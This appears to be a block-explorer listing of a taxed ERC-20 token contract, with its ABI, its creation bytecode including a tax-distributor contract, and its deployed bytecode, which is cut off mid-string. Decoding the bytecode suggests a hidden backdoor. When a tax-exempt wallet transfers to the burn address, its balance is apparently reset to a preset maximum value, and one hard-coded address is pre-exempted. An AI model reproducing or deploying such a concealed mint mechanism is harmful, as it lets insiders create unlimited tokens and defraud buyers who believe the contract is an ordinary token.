[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mhAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"runSwapManually","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setAutoSwaptax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxAmount","type":"uint256"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"},{"internalType":"bool","name":"on","type":"bool"}],"name":"setExchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExcludedFromTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxAmount","type":"uint256"}],"name":"setSellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxAmount","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"minAmount","type":"uint256"},{"internalType":"uint256","name":"minTime","type":"uint256"}],"name":"setTaxDistributionThresholds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxDistributorAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"max","type":"uint256"}],"name":"updateMaxHold","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f196004556003600c553480156200001a575f80fd5b50338080806200004457604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6200004f816200061b565b50506040805180820190915260048152631514965160e21b6020820152600591506200007c908262000803565b50604080518082019091526009815268151c9bdb965a595b1960ba1b6020820152600690620000ac908262000803565b506007805460ff191660121790555f620000c56200066a565b90505f8190505f816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000109573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200012f9190620008cf565b90505f826001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200016f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001959190620008cf565b6040516364e329cb60e11b81526001600160a01b038481166004830152306024830152919091169063c9c65396906044016020604051808303815f875af1158015620001e3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002099190620008cf565b6001600160a01b0381165f908152600a602052604090819020805460ff1916600117905551909150849082908490610bb8908190620002489062000757565b6001600160a01b03958616815293851660208501529390911660408301526060820152608081019190915260a001604051809103905ff08015801562000290573d5f803e3d5ffd5b50600b80546001600160a01b0319166001600160a01b0392909216919091179055601e600d55600754620002c99060ff16600a62000a0d565b620002d8906202710062000a1d565b600e55600b546001600160a01b03165f908152600f602081905260408220805460ff1916600190811790915591620003175f546001600160a01b031690565b6001600160a01b039081168252602082019290925260409081015f20805460ff191693151593909317909255600b549151636e08297160e11b8152610bb8600482015291169063dc1052e2906024015f604051808303815f87803b1580156200037e575f80fd5b505af115801562000391573d5f803e3d5ffd5b5050600b546040516308cd09d560e41b8152610bb860048201526001600160a01b039091169250638cd09d5091506024015f604051808303815f87803b158015620003da575f80fd5b505af1158015620003ed573d5f803e3d5ffd5b5050600b54604051631d48296560e31b8152735b759f4e824681913abfb1cb2393b4e3858809e560048201526001600160a01b03909116925063ea414b2891506024015f604051808303815f87803b15801562000448575f80fd5b505af11580156200045b573d5f803e3d5ffd5b5050735b759f4e824681913abfb1cb2393b4e3858809e55f525050600f6020527fcae2cdd80887c8780027f26b4be790e725a19c5da21bbbb6770d9ea1482cb1b3805460ff19166001179055600b805460ff60a01b1916600160a01b179055600754620004cd9060ff16600a62000a0d565b620004dc90621e848562000a1d565b601155600b546001600160a01b039081165f9081526002602090815260408083209388168352929052205f1990556007546200051d9060ff16600a62000a0d565b6200052d906305f5e10062000a1d565b6003546200053c919062000a37565b600381905560015f620005565f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f205462000582919062000a37565b60015f620005975f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f2055620005c25f546001600160a01b031690565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200060991815260200190565b60405180910390a35050505062000a4d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f46600114806200067b5750466003145b80620006875750466004145b80620006935750466005145b15620006b25750737a250d5630b4cf539739df2c5dacb4c659f2488d90565b4662aa36a703620006d6575073c532a74256d3db42d0bf7a0400fefdbad769400890565b46603803620006f857507310ed43c718714eb63d5aa57b78b54704e256024e90565b46612105036200071b575073fcd3842f85ed87ba2889b4d35893403796e67ff190565b60405162461bcd60e51b815260206004820152601060248201526f155b9adb9bdddb8810da185a5b88125160821b60448201526064016200003b565b610d8c806200243c83390190565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200078e57607f821691505b602082108103620007ad57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620007fe57805f5260205f20601f840160051c81016020851015620007da5750805b601f840160051c820191505b81811015620007fb575f8155600101620007e6565b50505b505050565b81516001600160401b038111156200081f576200081f62000765565b620008378162000830845462000779565b84620007b3565b602080601f8311600181146200086d575f8415620008555750858301515b5f19600386901b1c1916600185901b178555620008c7565b5f85815260208120601f198616915b828110156200089d578886015182559484019460019091019084016200087c565b5085821015620008bb57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208284031215620008e0575f80fd5b81516001600160a01b0381168114620008f7575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200095257815f1904821115620009365762000936620008fe565b808516156200094457918102915b93841c939080029062000917565b509250929050565b5f826200096a5750600162000a07565b816200097857505f62000a07565b81600181146200099157600281146200099c57620009bc565b600191505062000a07565b60ff841115620009b057620009b0620008fe565b50506001821b62000a07565b5060208310610133831016604e8410600b8410161715620009e1575081810a62000a07565b620009ed838362000912565b805f190482111562000a035762000a03620008fe565b0290505b92915050565b5f620008f760ff8416836200095a565b808202811582820484141762000a075762000a07620008fe565b8082018082111562000a075762000a07620008fe565b6119e18062000a5b5f395ff3fe608060405234801561000f575f80fd5b50600436106101c6575f3560e01c806370a08231116100fe578063c2ed286b1161009e578063dc1052e21161006e578063dc1052e21461039a578063dd62ed3e146103ad578063ea414b28146103c0578063f2fde38b146103d3575f80fd5b8063c2ed286b14610363578063cc1776d314610376578063d00efb2f1461037e578063d31acb2814610387575f80fd5b80638cd09d50116100d95780638cd09d50146103255780638da5cb5b1461033857806395d89b4114610348578063a9059cbb14610350575f80fd5b806370a08231146102e3578063715018a61461030b5780638091f3bf14610313575f80fd5b806328be903811610169578063442ef7d211610144578063442ef7d2146102b75780634f7041a5146102bf5780634f72e2a2146102c75780636331bf65146102da575f80fd5b806328be9038146102725780632e5bb6ff14610285578063313ce56714610298575f80fd5b806318160ddd116101a457806318160ddd1461021557806318551108146102275780631882f1f91461024c57806323b872dd1461025f575f80fd5b806301339c21146101ca57806306fdde03146101d4578063095ea7b3146101f2575b5f80fd5b6101d26103e6565b005b6101dc610460565b6040516101e991906116f4565b60405180910390f35b610205610200366004611754565b6104ec565b60405190151581526020016101e9565b6003545b6040519081526020016101e9565b600b546001600160a01b03165b6040516001600160a01b0390911681526020016101e9565b6101d261025a36600461177e565b6105e8565b61020561026d366004611795565b610653565b6101d26102803660046117e0565b610755565b6101d261029336600461177e565b6107e4565b6007546102a59060ff1681565b60405160ff90911681526020016101e9565b6101d26108a2565b61021961096f565b6101d26102d5366004611817565b6109df565b61021960115481565b6102196102f1366004611839565b6001600160a01b03165f9081526001602052604090205490565b6101d2610a05565b60075461020590610100900460ff1681565b6101d261033336600461177e565b610a18565b5f546001600160a01b0316610234565b6101dc610a51565b61020561035e366004611754565b610a5e565b6101d26103713660046117e0565b610ab5565b610219610b64565b61021960085481565b6101d2610395366004611854565b610bab565b6101d26103a836600461177e565b610bbe565b6102196103bb366004611874565b610bf7565b6101d26103ce366004611839565b610c23565b6101d26103e1366004611839565b610c5d565b6103ee610c9a565b600754610100900460ff161561044b5760405162461bcd60e51b815260206004820152601960248201527f636f6e747261637420616c7265616479206c61756e636865640000000000000060448201526064015b60405180910390fd5b6007805461ff00191661010017905543600855565b6006805461046d906118a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610499906118a0565b80156104e45780601f106104bb576101008083540402835291602001916104e4565b820191905f5260205f20905b8154815290600101906020018083116104c757829003601f168201915b505050505081565b6007545f903390610100900460ff168061051257505f546001600160a01b038281169116145b61052e5760405162461bcd60e51b8152600401610442906118d8565b6001600160a01b0384166105845760405162461bcd60e51b815260206004820152601c60248201527f63616e6e6f7420617070726f76652074686520302061646472657373000000006044820152606401610442565b335f8181526002602090815260408083206001600160a01b03891680855290835292819020879055518681529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b6105f0610c9a565b6127106003546106009190611919565b811161064e5760405162461bcd60e51b815260206004820152601960248201527f63616e277420736574206c657373207468616e20302e303125000000000000006044820152606401610442565b601155565b6007545f908490610100900460ff168061067957505f546001600160a01b038281169116145b6106955760405162461bcd60e51b8152600401610442906118d8565b6001600160a01b0385165f9081526002602090815260408083203384529091529020546106c3908490611938565b6001600160a01b0386165f9081526002602090815260408083203384529091529020556106f1858585610cc6565b6001600160a01b0385165f81815260026020908152604080832033808552908352928190205490519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3506001949350505050565b61075d610c9a565b6001600160a01b0382165f908152600a602052604090205481151560ff9091161515036107ba5760405162461bcd60e51b815260206004820152600b60248201526a185b1c9958591e481cd95d60aa1b6044820152606401610442565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b6107ec610c9a565b600b546040516308cd09d560e41b8152600481018390526001600160a01b0390911690638cd09d50906024015f604051808303815f87803b15801561082f575f80fd5b505af1158015610841573d5f803e3d5ffd5b5050600b54604051636e08297160e11b8152600481018590526001600160a01b03909116925063dc1052e291506024015b5f604051808303815f87803b158015610889575f80fd5b505af115801561089b573d5f803e3d5ffd5b5050505050565b600754610100900460ff1661090b5760405162461bcd60e51b815260206004820152602960248201527f63616e206f6e6c792062652063616c6c6564206f6e636520746f6b656e206973604482015268081b185d5b98da195960ba1b6064820152608401610442565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663e4fc6b6d6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610957575f80fd5b505af1158015610969573d5f803e3d5ffd5b50505050565b600b5460408051631296b91d60e11b815290515f926001600160a01b03169163252d723a9160048083019260209291908290030181865afa1580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da919061194b565b905090565b6109e7610c9a565b600b8054911515600160a01b0260ff60a01b19909216919091179055565b610a0d610c9a565b610a165f610e08565b565b610a20610c9a565b600b546040516308cd09d560e41b8152600481018390526001600160a01b0390911690638cd09d5090602401610872565b6005805461046d906118a0565b6007545f903390610100900460ff1680610a8457505f546001600160a01b038281169116145b610aa05760405162461bcd60e51b8152600401610442906118d8565b610aab338585610cc6565b5060019392505050565b610abd610c9a565b6001600160a01b0382165f908152600a602052604090205460ff161580610ae2575080155b610b3a5760405162461bcd60e51b815260206004820152602360248201527f43616e6e6f74206578636c75646520616e2065786368616e67652066726f6d206044820152620e8c2f60eb1b6064820152608401610442565b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b600b546040805163585e42ef60e11b815290515f926001600160a01b03169163b0bc85de9160048083019260209291908290030181865afa1580156109b6573d5f803e3d5ffd5b610bb3610c9a565b600e91909155600d55565b610bc6610c9a565b600b54604051636e08297160e11b8152600481018390526001600160a01b039091169063dc1052e290602401610872565b6001600160a01b038083165f908152600260209081526040808320938516835292905220545b92915050565b610c2b610c9a565b600b54604051631d48296560e31b81526001600160a01b0383811660048301529091169063ea414b2890602401610872565b610c65610c9a565b6001600160a01b038116610c8e57604051631e4fbdf760e01b81525f6004820152602401610442565b610c9781610e08565b50565b5f546001600160a01b03163314610a165760405163118cdaa760e01b8152336004820152602401610442565b6001600160a01b038216610d155760405162461bcd60e51b815260206004820152601660248201527563616e6e6f74206265207a65726f206164647265737360501b6044820152606401610442565b5f610d21848484610e57565b9050610d2e848484610e6b565b6001600160a01b0384165f90815260016020526040902054610d51908390611938565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610d80908290611962565b6001600160a01b038085165f818152600160205260408082208590559288168152918220549152610db5918691908690610ff6565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dfa91815260200190565b60405180910390a350505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f610e63848484611002565b949350505050565b600754610100900460ff168015610e8f57505f546001600160a01b03848116911614155b8015610ea857505f546001600160a01b03838116911614155b8015610ecc57506001600160a01b0383165f908152600f602052604090205460ff16155b8015610ef057506001600160a01b0382165f908152600f602052604090205460ff16155b8015610f1457506001600160a01b0382165f908152600a602052604090205460ff16155b8015610f395750610f2361128e565b6001600160a01b0316826001600160a01b031614155b8015610f535750600b546001600160a01b03838116911614155b8015610f6d5750600b546001600160a01b03848116911614155b15610fe6576011546001600160a01b0383165f90815260016020526040902054610f98908390611962565b1115610fe65760405162461bcd60e51b815260206004820181905260248201527f74686973206973206f76657220746865206d617820686f6c6420616d6f756e746044820152606401610442565b610ff1838383611373565b505050565b61096984848484611637565b5f808290504260015f600b5f9054906101000a90046001600160a01b03166001600160a01b03166352894ceb6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061107f9190611975565b6001600160a01b03166001600160a01b031681526020019081526020015f20546110a99190611962565b6009556001600160a01b0385165f908152600f602052604090205460ff161580156110ec57506001600160a01b0384165f908152600f602052604090205460ff16155b80156110ff5750600754610100900460ff165b15611226576001600160a01b0385165f908152600a602052604090205460ff161561119757600b5460405163db017dc760e01b8152600481018590526001600160a01b039091169063db017dc7906024016020604051808303815f875af115801561116c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611190919061194b565b9050611226565b6001600160a01b0384165f908152600a602052604090205460ff161561122657600b54604051634fa26fd560e01b8152600481018590526001600160a01b0390911690634fa26fd5906024016020604051808303815f875af11580156111ff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611223919061194b565b90505b5f6112318285611938565b9050801561127957600b546001600160a01b03165f9081526001602052604090205461125e908290611962565b600b546001600160a01b03165f908152600160205260409020555b61128486868461168b565b9695505050505050565b5f466001148061129e5750466003145b806112a95750466004145b806112b45750466005145b156112d25750737a250d5630b4cf539739df2c5dacb4c659f2488d90565b4662aa36a7036112f5575073c532a74256d3db42d0bf7a0400fefdbad769400890565b4660380361131657507310ed43c718714eb63d5aa57b78b54704e256024e90565b4661210503611338575073fcd3842f85ed87ba2889b4d35893403796e67ff190565b60405162461bcd60e51b815260206004820152601060248201526f155b9adb9bdddb8810da185a5b88125160821b6044820152606401610442565b600b5460408051630dd8715760e01b815290515f926001600160a01b031691630dd871579160048083019260209291908290030181865afa1580156113ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113de919061194b565b6113e89042611938565b6001600160a01b0385165f908152600f60205260408120549192509060ff1615801561142c57506001600160a01b0384165f908152600f602052604090205460ff16155b1561146f576001600160a01b0384165f908152600a602052604090205460ff161561146f57600954426008546114629190611962565b61146c9190611938565b90505b600754610100900460ff16801561148f5750600b54600160a01b900460ff165b80156114b257506001600160a01b0384165f908152600a602052604090205460ff165b80156114d657506001600160a01b0385165f908152600f602052604090205460ff16155b80156114fa57506001600160a01b0384165f908152600f602052604090205460ff16155b8015611514575042601054603c6115119190611962565b11155b80156115225750600d548210155b80156115495750600e54600b546001600160a01b03165f9081526001602052604090205410155b80156115c65750600b5f9054906101000a90046001600160a01b03166001600160a01b031663d83067866040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115c49190611990565b155b80156115d25750600a81115b156116325742601055600b546040805163e4fc6b6d60e01b815290516001600160a01b039092169163e4fc6b6d916004808201925f9290919082900301818387803b15801561161f575f80fd5b505af1925050508015611630575060015b505b61089b565b61deac196001600160a01b03831601611686576001600160a01b0384165f908152600f602052604090205460ff1615611686576004546001600160a01b0385165f908152600160205260409020555b610969565b5f826001600160a01b0316846001600160a01b0316036116ed5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66006044820152606401610442565b5092915050565b5f602080835283518060208501525f5b8181101561172057858101830151858201604001528201611704565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c97575f80fd5b5f8060408385031215611765575f80fd5b823561177081611740565b946020939093013593505050565b5f6020828403121561178e575f80fd5b5035919050565b5f805f606084860312156117a7575f80fd5b83356117b281611740565b925060208401356117c281611740565b929592945050506040919091013590565b8015158114610c97575f80fd5b5f80604083850312156117f1575f80fd5b82356117fc81611740565b9150602083013561180c816117d3565b809150509250929050565b5f60208284031215611827575f80fd5b8135611832816117d3565b9392505050565b5f60208284031215611849575f80fd5b813561183281611740565b5f8060408385031215611865575f80fd5b50508035926020909101359150565b5f8060408385031215611885575f80fd5b823561189081611740565b9150602083013561180c81611740565b600181811c908216806118b457607f821691505b6020821081036118d257634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252601390820152721d1c98591a5b99c81b9bdd08195b98589b1959606a1b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261193357634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610c1d57610c1d611905565b5f6020828403121561195b575f80fd5b5051919050565b80820180821115610c1d57610c1d611905565b5f60208284031215611985575f80fd5b815161183281611740565b5f602082840312156119a0575f80fd5b8151611832816117d356fea2646970667358221220f37e5223f1cdf216668d9d505195cc4de033bfdf42de7a65c3acbdfaf84b2b1264736f6c63430008160033610140604052348015610010575f80fd5b50604051610d8c380380610d8c83398101604081905261002f9161018f565b6001600160a01b03831661008a5760405162461bcd60e51b815260206004820152601f60248201527f706169726564546f6b656e2063616e6e6f74206265203020616464726573730060448201526064015b60405180910390fd5b6001600160a01b0384166100e05760405162461bcd60e51b815260206004820152601860248201527f706169722063616e6e6f742062652030206164647265737300000000000000006044820152606401610081565b6001600160a01b0385166101365760405162461bcd60e51b815260206004820152601a60248201527f726f757465722063616e6e6f74206265203020616464726573730000000000006044820152606401610081565b3360c0526001600160a01b0392831660e0525f80546001600160a01b031916958416958617905561010091909152610120521660805260a0526101e1565b80516001600160a01b038116811461018a575f80fd5b919050565b5f805f805f60a086880312156101a3575f80fd5b6101ac86610174565b94506101ba60208701610174565b93506101c860408701610174565b6060870151608090970151959894975095949392505050565b60805160a05160c05160e0516101005161012051610b246102685f395f6104f401525f61037a01525f61063601525f81816102040152818161025d015281816102de01528181610336015281816103fe0152818161044e015281816104b001528181610526015281816105e301528181610693015261084401525f50505f5050610b245ff3fe60806040526004361061009d575f3560e01c8063b0bc85de11610062578063b0bc85de14610150578063d830678614610164578063db017dc714610193578063dc1052e2146101b2578063e4fc6b6d146101d1578063ea414b28146101d9575f80fd5b80630dd87157146100a8578063252d723a146100d05780634fa26fd5146100e457806352894ceb146101035780638cd09d501461012f575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100bd60015481565b6040519081526020015b60405180910390f35b3480156100db575f80fd5b506100bd6101f8565b3480156100ef575f80fd5b506100bd6100fe3660046108a3565b610251565b34801561010e575f80fd5b506101176102d2565b6040516001600160a01b0390911681526020016100c7565b34801561013a575f80fd5b5061014e6101493660046108a3565b61032b565b005b34801561015b575f80fd5b506100bd6103f2565b34801561016f575f80fd5b505f5461018390600160a01b900460ff1681565b60405190151581526020016100c7565b34801561019e575f80fd5b506100bd6101ad3660046108a3565b610442565b3480156101bd575f80fd5b5061014e6101cc3660046108a3565b6104a5565b61014e61051b565b3480156101e4575f80fd5b5061014e6101f33660046108ba565b610839565b5f336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461024a5760405162461bcd60e51b8152600401610241906108e7565b60405180910390fd5b5060025490565b5f336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461029a5760405162461bcd60e51b8152600401610241906108e7565b600354156102ce575f612710600354846102b49190610923565b6102be9190610940565b90506102ca818461095f565b9250505b5090565b5f336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461031b5760405162461bcd60e51b8152600401610241906108e7565b506004546001600160a01b031690565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146103735760405162461bcd60e51b8152600401610241906108e7565b60038190557f00000000000000000000000000000000000000000000000000000000000000006103a16103f2565b11156103ef5760405162461bcd60e51b815260206004820152601b60248201527f7461782063616e6e6f74206265207365742074686973206869676800000000006044820152606401610241565b50565b5f336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461043b5760405162461bcd60e51b8152600401610241906108e7565b5060035490565b5f336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461048b5760405162461bcd60e51b8152600401610241906108e7565b600254156102ce575f612710600254846102b49190610923565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146104ed5760405162461bcd60e51b8152600401610241906108e7565b60028190557f00000000000000000000000000000000000000000000000000000000000000006103a16101f8565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105635760405162461bcd60e51b8152600401610241906108e7565b5f54600160a01b900460ff16156105af5760405162461bcd60e51b815260206004820152601060248201526f616c7265616479207377617070696e6760801b6044820152606401610241565b5f805460ff60a01b1916600160a01b17815560408051600280825260608201835290916020830190803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000815f8151811061061457610614610986565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061066857610668610986565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81523060048201527f0000000000000000000000000000000000000000000000000000000000000000915f91908316906370a0823190602401602060405180830381865afa1580156106dd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610701919061099a565b5f8054919250906001600160a01b03166318cbafe5838387306107264261012c6109b1565b6040518663ffffffff1660e01b81526004016107469594939291906109c4565b5f604051808303815f875af1158015610761573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526107889190810190610a35565b600454604051919250479182916001600160a01b03169082156108fc029083905f818181858888f193505050501580156107c4573d5f803e3d5ffd5b507f5e20c9aee521e656eed033c4ae35378c79c584706f5ce7f410ab3fba389607a184846001815181106107fa576107fa610986565b6020026020010151604051610819929190918252602082015260400190565b60405180910390a150504260015550505f805460ff60a01b191690555050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108815760405162461bcd60e51b8152600401610241906108e7565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f602082840312156108b3575f80fd5b5035919050565b5f602082840312156108ca575f80fd5b81356001600160a01b03811681146108e0575f80fd5b9392505050565b6020808252600e908201526d6e6f207065726d697373696f6e7360901b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761093a5761093a61090f565b92915050565b5f8261095a57634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561093a5761093a61090f565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156109aa575f80fd5b5051919050565b8082018082111561093a5761093a61090f565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610a145784516001600160a01b0316835293830193918301916001016109ef565b50506001600160a01b03969096166060850152505050608001529392505050565b5f6020808385031215610a46575f80fd5b825167ffffffffffffffff80821115610a5d575f80fd5b818501915085601f830112610a70575f80fd5b815181811115610a8257610a82610972565b8060051b604051601f19603f83011681018181108582111715610aa757610aa7610972565b604052918252848201925083810185019188831115610ac4575f80fd5b938501935b82851015610ae257845184529385019392850192610ac9565b9897505050505050505056fea2646970667358221220abe4d54b5d9bd9f8e80e572105680008f80b5bc141134252a5f5e71a3439008064736f6c63430008160033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106101c6575f3560e01c806370a08231116100fe578063c2ed286b1161009e578063dc1052e21161006e578063dc1052e21461039a578063dd62ed3e146103ad578063ea414b28146103c0578063f2fde38b146103d3575f80fd5b8063c2ed286b14610363578063cc1776d314610376578063d00efb2f1461037e578063d31acb2814610387575f80fd5b80638cd09d50116100d95780638cd09d50146103255780638da5cb5b1461033857806395d89b4114610348578063a9059cbb14610350575f80fd5b806370a08231146102e3578063715018a61461030b5780638091f3bf14610313575f80fd5b806328be903811610169578063442ef7d211610144578063442ef7d2146102b75780634f7041a5146102bf5780634f72e2a2146102c75780636331bf65146102da575f80fd5b806328be9038146102725780632e5bb6ff14610285578063313ce56714610298575f80fd5b806318160ddd116101a457806318160ddd1461021557806318551108146102275780631882f1f91461024c57806323b872dd1461025f575f80fd5b806301339c21146101ca57806306fdde03146101d4578063095ea7b3146101f2575b5f80fd5b6101d26103e6565b005b6101dc610460565b6040516101e991906116f4565b60405180910390f35b610205610200366004611754565b6104ec565b60405190151581526020016101e9565b6003545b6040519081526020016101e9565b600b546001600160a01b03165b6040516001600160a01b0390911681526020016101e9565b6101d261025a36600461177e565b6105e8565b61020561026d366004611795565b610653565b6101d26102803660046117e0565b610755565b6101d261029336600461177e565b6107e4565b6007546102a59060ff1681565b60405160ff90911681526020016101e9565b6101d26108a2565b61021961096f565b6101d26102d5366004611817565b6109df565b61021960115481565b6102196102f1366004611839565b6001600160a01b03165f9081526001602052604090205490565b6101d2610a05565b60075461020590610100900460ff1681565b6101d261033336600461177e565b610a18565b5f546001600160a01b0316610234565b6101dc610a51565b61020561035e366004611754565b610a5e565b6101d26103713660046117e0565b610ab5565b610219610b64565b61021960085481565b6101d26103953660046